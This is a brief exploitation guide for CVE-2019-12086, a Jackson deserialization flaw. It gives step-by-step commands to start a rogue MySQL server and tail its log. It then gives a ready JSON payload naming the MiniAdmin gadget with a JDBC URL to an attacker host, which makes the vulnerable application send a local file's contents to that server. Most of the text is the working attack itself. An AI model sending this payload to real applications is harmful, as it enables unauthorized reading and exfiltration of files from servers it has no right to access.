Documentation

CVE-2019-12086 jackson unserialize

Vulnerability Exploitation

1. Start a malicious MySQL server:

python rogue_mysql_server.py

2. Check mysql.log in the same directory:

tail -f mysql.log

3. Send the following JSON to the vulnerable application:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

When Jackson deserializes the malicious JSON string, it will connect to the malicious MySQL server, and the contents of the read file will be written to the malicious server's mysql.log.